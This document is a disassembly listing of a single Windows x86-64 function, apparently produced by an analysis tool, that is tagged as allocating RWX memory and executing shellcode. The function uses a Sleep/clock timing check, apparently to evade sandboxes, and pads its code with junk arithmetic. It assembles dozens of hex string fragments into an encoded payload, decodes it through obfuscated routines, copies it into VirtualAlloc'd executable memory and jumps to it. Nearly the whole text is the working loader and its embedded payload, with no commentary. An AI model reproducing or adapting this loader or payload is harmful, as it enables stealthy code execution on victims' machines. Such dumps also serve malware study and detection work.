Function at 0x401893
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x628
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5c0], ecx
mov qword [rbp + 0x5c8], rdx
call dbg.__main
call sym.clock
mov dword [rbp + 0x59c], eax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov ecx, 0x331
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x598], eax
mov dword [0x00404010], 0
mov ecx, 0x6fe
call sym.malloc
mov qword [rbp + 0x590], rax
mov dword [0x00404010], 0
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x330
jle 0x4023c6
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x394
jg 0x4023c6
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rcx, str.pkFtAxjB
call sym.printf
lea rax, str.94ee005554d454545474b434c3724c4ce44583067078804c6054444d5f434d34c4
mov qword [rbp + 0x588], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.c4cef024dd444d4
mov qword [rbp + 0x580], rax
mov dword [0x00404010], 0
lea rax, str.0444d8804455555825e458eff64766744e8442f4c34c344437fe58450
mov qword [rbp + 0x578], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.4c5505b8cd54c34d350454e2f4c8504f84cff35421f80904c800de
mov qword [rbp + 0x570], rax
mov dword [0x00404010], 0
lea rax, str.0eff54035a80d28e15fb8c5f65717b
mov qword [rbp + 0x568], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.2e5f5b4023f960774672666222666663442235667422356673325533300514c0a24c37706
mov qword [rbp + 0x560], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.624ed72a8f6d9f343d4495fbb75e70d6ebe8ab4cf3
mov qword [rbp + 0x558], rax
mov dword [0x00404010], 0
lea rax, str.e64b52916fa7ebdd6244059693b9a6558d
mov qword [rbp + 0x550], rax
mov dword [0x00404010], 0
lea rax, str.952262ec7987de160bb5d3b00b10b00baed9584f84004fb9ed82cb84ccd54005eff32323230db0c8340880001
mov qword [rbp + 0x548], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.11021681258b208b288b208b208f7aa
mov qword [rbp + 0x540], rax
mov dword [0x00404010], 0
lea rax, str.d19810cc1c2c0119d1112
mov qword [rbp + 0x538], rax
mov dword [0x00404010], 0
lea rax, str.d2118b20b2c8106188b
mov qword [rbp + 0x530], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.252b08000850478100b884b
mov qword [rbp + 0x528], rax
mov dword [0x00404010], 0
lea rax, str.00910368f91b48816d19810c119d1118051c3c485915884b0491061bc84b0c9101
mov qword [rbp + 0x520], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.b488101818e9a18191a83c012f0819a8b29ffffd
mov qword [rbp + 0x518], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.a09e79e9e54016996c911ac767f5819812d10d1910101a
mov qword [rbp + 0x510], rax
mov dword [0x00404010], 0
lea rax, str.a697f5b3a89
mov qword [rbp + 0x508], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.118e300d191111a3111a79f6f5b9b891812998d19280204221ab5ebf58968330aaf89189a970ffffd19221ad
mov qword [rbp + 0x500], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.68bf550f5d1008fff4c100b39410
mov qword [rbp + 0x4f8], rax
mov dword [0x00404010], 0
lea rax, str.082ffff1f850b
mov qword [rbp + 0x4f0], rax
mov dword [0x00404010], 0
lea rax, str.a6cda003a5527048cd2da0a746d
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.5ebda9106f10bc3fb7d43bd3b67cca0a52803cab5b8e505352d175e4a0dfa9cc1f4e0083fd01492c5b0d39508e0b079
mov qword [rbp + 0x4e0], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.e4f730e405e1b042945e4f4e0b024231255269da0bff4c102083927755728d87591cff6717f2a6e4cbf7456595b
mov qword [rbp + 0x4d8], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.e77d5ceedba94df5cf6ce29e172e2f64aaa3d9ab71b162c547a9839ea9759b36f21de5241
mov qword [rbp + 0x4d0], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.747ac69088186e50fdfe098dd302341db38efb712e3f6986c2a1800efd4
mov qword [rbp + 0x4c8], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.fde0bb622a3767ecc55046d1b024a2601e05
mov qword [rbp + 0x4c0], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.26f5819a00001800001900001a8435f5833389
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.789189a1800009991a2692f5834050466b78135057888850000038f
mov qword [rbp + 0x4b0], rax
mov dword [0x00404010], 0
lea rax, str.dff104e249e156e1970ae81f8fc044553686818285044c3a602c00e
mov qword [rbp + 0x4a8], rax
mov dword [0x00404010], 0
lea rax, str.558244d8107800874d81820e4c8804c3ac0037440375820684810404d
mov qword [rbp + 0x4a0], rax
mov dword [0x00404010], 0
lea rax, str.5554444e4f55414f50b6660584fb70d34d34c55b5ad74cb5034464459fe584d84c6085b53d84c6584
mov qword [rbp + 0x498], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.dcff4c5b07dc800f080ee00af2657d70b
mov qword [rbp + 0x490], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.fb370b53736bac45f0c9
mov qword [rbp + 0x488], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.32fc42fd0ba456
mov qword [rbp + 0x480], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.266347663326776625433266725332766223453332036616e4b5197a962c813f209ea
mov qword [rbp + 0x478], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.00515261bf1b7c842ab152be8b8fd66baa6f733c2462936d07fc244
mov qword [rbp + 0x470], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.2faef8e69ce420a6f91ba72c2d4faf4c04400440455f454e84db208418f4c876008755000c9f3333333336
mov qword [rbp + 0x468], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x93
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcpy
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rax, qword [rbp + 0x590]
lea rdx, [0x0040578f]
mov rcx, rax
call sym.uwhcRLh
mov qword [rbp + 0x460], rax
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x460]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.ipDWBsWk
mov dword [0x00404010], 0
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4aa
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x458], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x458]
mov r8d, 0x4aa
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x458]
call rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov edx, eax
lea rcx, [0x00405791]
call sym.printf
jmp 0x4023dd
mov dword [0x00404010], 0
lea rcx, str.pkFtAxjB
call sym.printf
nop
add rsp, 0x628
pop rdi
pop rbp
ret